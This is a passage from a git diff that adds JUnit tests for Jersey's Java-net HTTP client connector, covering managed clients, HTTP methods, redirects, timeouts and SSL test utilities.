+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.DynamicFeature;
+import jakarta.ws.rs.container.ResourceInfo;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.FeatureContext;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class ManagedClientTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName());
+
+ /**
+ * Managed client configuration for client A.
+ */
+ @ClientBinding(configClass = MyClientAConfig.class)
+ @Documented
+ @Retention(RetentionPolicy.RUNTIME)
+ @Target({ElementType.FIELD, ElementType.PARAMETER})
+ public static @interface ClientA {
+ }
+
+ /**
+ * Managed client configuration for client B.
+ */
+ @ClientBinding(configClass = MyClientBConfig.class)
+ @Documented
+ @Retention(RetentionPolicy.RUNTIME)
+ @Target({ElementType.FIELD, ElementType.PARAMETER})
+ public @interface ClientB {
+ }
+
+ /**
+ * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance
+ * to every method that is annotated with {@link Require @Require} internal feature
+ * annotation.
+ */
+ public static class CustomHeaderFeature implements DynamicFeature {
+
+ /**
+ * A method annotation to be placed on those resource methods to which a validating
+ * {@link CustomHeaderFilter} instance should be added.
+ */
+ @Retention(RetentionPolicy.RUNTIME)
+ @Documented
+ @Target(ElementType.METHOD)
+ public static @interface Require {
+
+ /**
+ * Expected custom header name to be validated by the {@link CustomHeaderFilter}.
+ */
+ String headerName();
+
+ /**
+ * Expected custom header value to be validated by the {@link CustomHeaderFilter}.
+ */
+ String headerValue();
+ }
+
+ @Override
+ public void configure(ResourceInfo resourceInfo, FeatureContext context) {
+ final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class);
+ if (va != null) {
+ context.register(new CustomHeaderFilter(va.headerName(), va.headerValue()));
+ }
+ }
+ }
+
+ /**
+ * A filter for appending and validating custom headers.
+ * <p>
+ * On the client side, appends a new custom request header with a configured name and value to each outgoing request.
+ * </p>
+ * <p>
+ * On the server side, validates that each request has a custom header with a configured name and value.
+ * If the validation fails a HTTP 403 response is returned.
+ * </p>
+ */
+ public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter {
+
+ private final String headerName;
+ private final String headerValue;
+
+ public CustomHeaderFilter(String headerName, String headerValue) {
+ if (headerName == null || headerValue == null) {
+ throw new IllegalArgumentException("Header name and value must not be null.");
+ }
+ this.headerName = headerName;
+ this.headerValue = headerValue;
+ }
+
+ @Override
+ public void filter(ContainerRequestContext ctx) throws IOException { // validate
+ if (!headerValue.equals(ctx.getHeaderString(headerName))) {
+ ctx.abortWith(Response.status(Response.Status.FORBIDDEN)
+ .type(MediaType.TEXT_PLAIN)
+ .entity(String
+ .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue))
+ .build());
+ }
+ }
+
+ @Override
+ public void filter(ClientRequestContext ctx) throws IOException { // append
+ ctx.getHeaders().putSingle(headerName, headerValue);
+ }
+ }
+
+ /**
+ * Internal resource accessed from the managed client resource.
+ */
+ @Path("internal")
+ public static class InternalResource {
+
+ @GET
+ @Path("a")
+ @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a")
+ public String getA() {
+ return "a";
+ }
+
+ @GET
+ @Path("b")
+ @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b")
+ public String getB() {
+ return "b";
+ }
+ }
+
+ /**
+ * A resource that uses managed clients to retrieve values of internal
+ * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter}
+ * and require a specific custom header in a request to be set to a specific value.
+ * <p>
+ * Properly configured managed clients have a {@code CustomHeaderFilter} instance
+ * configured to insert the {@link CustomHeaderFeature.Require required} custom header
+ * with a proper value into the outgoing client requests.
+ * </p>
+ */
+ @Path("public")
+ public static class PublicResource {
+
+ @Uri("a")
+ @ClientA // resolves to <base>/internal/a
+ private WebTarget targetA;
+
+ @GET
+ @Produces("text/plain")
+ @Path("a")
+ public String getTargetA() {
+ return targetA.request(MediaType.TEXT_PLAIN).get(String.class);
+ }
+
+ @GET
+ @Produces("text/plain")
+ @Path("b")
+ public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) {
+ return targetB.request(MediaType.TEXT_PLAIN).get();
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class)
+ .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal");
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ public static class MyClientAConfig extends ClientConfig {
+
+ public MyClientAConfig() {
+ this.register(new CustomHeaderFilter("custom-header", "a"));
+ }
+ }
+
+ public static class MyClientBConfig extends ClientConfig {
+
+ public MyClientBConfig() {
+ this.register(new CustomHeaderFilter("custom-header", "b"));
+ }
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ }
+
+ /**
+ * Test that a connection via managed clients works properly.
+ *
+ * @throws Exception in case of test failure.
+ */
+ @Test
+ public void testManagedClient() throws Exception {
+ final WebTarget resource = target().path("public").path("{name}");
+ Response response;
+
+ response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get();
+ assertEquals(200, response.getStatus());
+ assertEquals("a", response.readEntity(String.class));
+
+ response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get();
+ assertEquals(200, response.getStatus());
+ assertEquals("b", response.readEntity(String.class));
+ }
+
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/MethodTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/MethodTest.java
new file mode 100644
index 0000000..a4837ee
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/MethodTest.java
@@ -0,0 +1,147 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import java.util.concurrent.ExecutionException;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.PATCH;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.PUT;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class MethodTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName());
+
+ private static final String PATH = "test";
+
+ @Path("/test")
+ public static class HttpMethodResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+
+ @POST
+ public String post(String entity) {
+ return entity;
+ }
+
+ @PUT
+ public String put(String entity) {
+ return entity;
+ }
+
+ @PATCH
+ public String patch(String entity) {
+ return entity;
+ }
+
+ @DELETE
+ public String delete() {
+ return "DELETE";
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ }
+
+ @Test
+ public void testGet() {
+ Response response = target(PATH).request().get();
+ assertEquals("GET", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testGetAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().get().get();
+ assertEquals("GET", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPost() {
+ Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN));
+ assertEquals("POST", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPostAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get();
+ assertEquals("POST", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPut() {
+ Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN));
+ assertEquals("PUT", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPutAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get();
+ assertEquals("PUT", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testDelete() {
+ Response response = target(PATH).request().delete();
+ assertEquals("DELETE", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testDeleteAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request().async().delete().get();
+ assertEquals("DELETE", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testPatch() {
+ Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN));
+ assertEquals("PATCH", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testOptionsWithEntity() {
+ Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke();
+ assertEquals(200, response.getStatus());
+ response.close();
+ }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/NoEntityTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/NoEntityTest.java
new file mode 100644
index 0000000..6635a61
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/NoEntityTest.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.core.GenericType;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+public class NoEntityTest extends JerseyTest {
+ private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName());
+
+ @Path("/test")
+ public static class HttpMethodResource {
+ @GET
+ public Response get() {
+ return Response.status(Response.Status.CONFLICT).build();
+ }
+
+ @POST
+ public void post(String entity) {
+ }
+
+ @GET
+ @Path("/success")
+ public Response getSuccessfully() {
+ return Response.status(Response.Status.NO_CONTENT).build();
+ }
+
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ }
+
+ @Test
+ public void testGet() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().get();
+ cr.close();
+ }
+ }
+
+ @Test
+ public void testGetWithClose() {
+ WebTarget r = target("test");
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().get();
+ cr.close();
+ }
+ }
+
+ @Test
+ public void testGetVoidWithClose() {
+ WebTarget r = target("test");
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().get();
+ cr.close();
+ }
+ }
+
+ @Test
+ public void testGetVoid() {
+ WebTarget r = target("test/success");
+ for (int i = 0; i < 5; i++) {
+ r.request().get(void.class);
+ }
+ }
+
+ @Test
+ public void testGetGenericVoid() {
+ WebTarget r = target("test/success");
+ for (int i = 0; i < 5; i++) {
+ r.request().get(new GenericType<Void>() {
+ });
+ }
+ }
+
+ @Test
+ public void testPost() {
+ WebTarget r = target("test");
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().post(null);
+ }
+ }
+
+ @Test
+ public void testPostWithClose() {
+ WebTarget r = target("test");
+ for (int i = 0; i < 5; i++) {
+ Response cr = r.request().post(null);
+ cr.close();
+ }
+ }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/OptionsMethodTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/OptionsMethodTest.java
new file mode 100644
index 0000000..a333bd1
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/OptionsMethodTest.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import static org.assertj.core.api.Assertions.assertThat;
+
+/**
+ * Checks, that an {@code OPTIONS} request may be sent to a {@code GET} endpoint.
+ */
+public class OptionsMethodTest extends AbstractJavaConnectorTest {
+ /**
+ * Sends an {@code OPTIONS} request to the root {@code GET} endpoint and assumes a code 200.
+ */
+ @Test
+ public void testOptionsMethod() {
+ assertThat(this.requestWithEntity("java-connector", "OPTIONS", null).getStatus())
+ .isEqualTo(Response.Status.OK.getStatusCode());
+ }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RedirectTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RedirectTest.java
new file mode 100644
index 0000000..e1edc24
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RedirectTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import jakarta.ws.rs.core.Response;
+import org.glassfish.jersey.client.ClientProperties;
+import org.junit.jupiter.api.Test;
+
+import static org.assertj.core.api.Assertions.assertThat;
+
+/**
+ * Checks that the connector provider correctly handles redirects.
+ */
+public class RedirectTest extends AbstractJavaConnectorTest {
+ /**
+ * Checks, that without further configuration redirects are taken.
+ */
+ @Test
+ public void testRedirect() {
+ assertThat(this.request("java-connector/redirect").readEntity(String.class)).isEqualTo("Hello World!");
+ }
+
+ /**
+ * Checks, that no redirect happens, if the redirects are switched off.
+ */
+ @Test
+ public void testNotFollowRedirects() {
+ Response response = target().path("java-connector").path("redirect")
+ .property(ClientProperties.FOLLOW_REDIRECTS, false)
+ .request()
+ .get();
+ assertThat(response.getStatus()).isEqualTo(Response.Status.SEE_OTHER.getStatusCode());
+ }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RetrieveHttpClientFromConnectorProviderTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RetrieveHttpClientFromConnectorProviderTest.java
new file mode 100644
index 0000000..8592bd7
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/RetrieveHttpClientFromConnectorProviderTest.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.junit.jupiter.api.Test;
+
+import java.net.http.HttpClient;
+
+import static org.assertj.core.api.Assertions.assertThat;
+
+/**
+ * Tests access to the {@link HttpClient} instance provided from the {@link JavaNetHttpConnectorProvider}.
+ */
+public class RetrieveHttpClientFromConnectorProviderTest extends AbstractJavaConnectorTest {
+ /**
+ * Checks, that the {@link jakarta.ws.rs.client.Client} and {@link jakarta.ws.rs.client.WebTarget} instances
+ * correctly return the internally used {@link HttpClient}.
+ */
+ @Test
+ public void testClientUsesJavaConnector() {
+ assertThat(JavaNetHttpConnectorProvider.getHttpClient(client())).isInstanceOf(HttpClient.class);
+ assertThat(JavaNetHttpConnectorProvider.getHttpClient(target())).isInstanceOf(HttpClient.class);
+ assertThat(JavaNetHttpConnectorProvider.getHttpClient(client()))
+ .isEqualTo(JavaNetHttpConnectorProvider.getHttpClient(target()));
+ }
+}
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/SslUtils.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/SslUtils.java
new file mode 100644
index 0000000..469959a
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/SslUtils.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import javax.net.ssl.KeyManager;
+import javax.net.ssl.KeyManagerFactory;
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.TrustManager;
+import javax.net.ssl.TrustManagerFactory;
+import java.io.InputStream;
+import java.security.KeyStore;
+
+public final class SslUtils {
+
+ private static final String SERVER_IDENTITY_PATH = "server-identity.jks";
+ private static final char[] SERVER_IDENTITY_PASSWORD = "secret".toCharArray();
+ private static final String SERVER_TRUSTSTORE_PATH = "server-truststore.jks";
+ private static final char[] SERVER_TRUSTSTORE_PASSWORD = "secret".toCharArray();
+
+ private static final String CLIENT_IDENTITY_PATH = "client-identity.jks";
+ private static final char[] CLIENT_IDENTITY_PASSWORD = "secret".toCharArray();
+ private static final String CLIENT_TRUSTSTORE_PATH = "client-truststore.jks";
+ private static final char[] CLIENT_TRUSTSTORE_PASSWORD = "secret".toCharArray();
+
+ private static final String KEYSTORE_TYPE = "PKCS12";
+
+ private SslUtils() {}
+
+ public static SSLContext createServerSslContext(boolean includeKeyMaterial, boolean includeTrustMaterial) {
+ return createSslContext(
+ includeKeyMaterial,
+ includeTrustMaterial,
+ SERVER_IDENTITY_PATH,
+ SERVER_IDENTITY_PASSWORD,
+ SERVER_TRUSTSTORE_PATH,
+ SERVER_TRUSTSTORE_PASSWORD
+ );
+ }
+
+ public static SSLContext createClientSslContext(boolean includeKeyMaterial, boolean includeTrustMaterial) {
+ return createSslContext(
+ includeKeyMaterial,
+ includeTrustMaterial,
+ CLIENT_IDENTITY_PATH,
+ CLIENT_IDENTITY_PASSWORD,
+ CLIENT_TRUSTSTORE_PATH,
+ CLIENT_TRUSTSTORE_PASSWORD
+ );
+ }
+
+ private static SSLContext createSslContext(
+ boolean includeKeyMaterial,
+ boolean includeTrustMaterial,
+ String keyStorePath,
+ char[] keyStorePassword,
+ String trustStorePath,
+ char[] trustStorePassword) {
+
+ try {
+ KeyManager[] keyManagers = null;
+ TrustManager[] trustManagers = null;
+
+ if (includeKeyMaterial) {
+ keyManagers = createKeyManagers(keyStorePath, keyStorePassword);
+ }
+
+ if (includeTrustMaterial) {
+ trustManagers = createTrustManagers(trustStorePath, trustStorePassword);
+ }
+
+ SSLContext sslContext = SSLContext.getInstance("TLS");
+ sslContext.init(keyManagers, trustManagers, null);
+ return sslContext;
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ private static TrustManager[] createTrustManagers(String keyStorePath, char[] keyStorePassword) throws Exception {
+ KeyStore trustStore = getKeyStore(keyStorePath, keyStorePassword);
+
+ TrustManagerFactory trustManagerFactory = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
+ trustManagerFactory.init(trustStore);
+ return trustManagerFactory.getTrustManagers();
+ }
+
+ private static KeyManager[] createKeyManagers(String keyStorePath, char[] keyStorePassword) throws Exception {
+ KeyStore keyStore = getKeyStore(keyStorePath, keyStorePassword);
+
+ KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
+ keyManagerFactory.init(keyStore, keyStorePassword);
+ return keyManagerFactory.getKeyManagers();
+ }
+
+ private static KeyStore getKeyStore(String path, char[] keyStorePassword) throws Exception {
+ try (InputStream inputStream = getResource(path)) {
+ KeyStore keyStore = KeyStore.getInstance(KEYSTORE_TYPE);
+ keyStore.load(inputStream, keyStorePassword);
+ return keyStore;
+ }
+ }
+
+ private static InputStream getResource(String path) {
+ return SslUtils.class.getClassLoader().getResourceAsStream(path);
+ }
+
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TimeoutTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TimeoutTest.java
new file mode 100644
index 0000000..b32f122
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TimeoutTest.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import java.net.URI;
+import java.net.http.HttpTimeoutException;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import org.junit.jupiter.api.Test;
+
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertInstanceOf;
+import static org.junit.jupiter.api.Assertions.fail;
+
+public class TimeoutTest extends JerseyTest {
+ private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
+
+ @Path("/test")
+ public static class TimeoutResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+
+ @GET
+ @Path("timeout")
+ public String getTimeout() {
+ try {
+ Thread.sleep(2000);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ return "GET";
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ }
+
+ @Test
+ public void testFast() {
+ Response r = target("test").request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+ }
+
+ @Test
+ public void testSlow() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ t.path("test/timeout").request().get();
+ fail("Timeout expected.");
+ } catch (ProcessingException e) {
+ assertInstanceOf(HttpTimeoutException.class, e.getCause(),
+ "Unexpected processing exception cause");
+ } finally {
+ c.close();
+ }
+ }
+
+ @Test
+ public void testTimeoutInRequest() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig();
+ config.connectorProvider(new JavaNetHttpConnectorProvider());
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ try {
+ t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get();
+ fail("Timeout expected.");
+ } catch (ProcessingException e) {
+ assertInstanceOf(HttpTimeoutException.class, e.getCause(),
+ "Unexpected processing exception cause");
+ } finally {
+ c.close();
+ }
+ }
+}
\ No newline at end of file
diff --git a/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TraceSupportTest.java b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TraceSupportTest.java
new file mode 100644
index 0000000..b8a079a
--- /dev/null
+++ b/connectors/jnh-connector/src/test/java/org/glassfish/jersey/jnh/connector/TraceSupportTest.java
@@ -0,0 +1,230 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jnh.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.process.Inflector;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.model.Resource;
+import org.glassfish.jersey.test.JerseyTest;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.List;
+import java.util.Map;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.HttpMethod;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
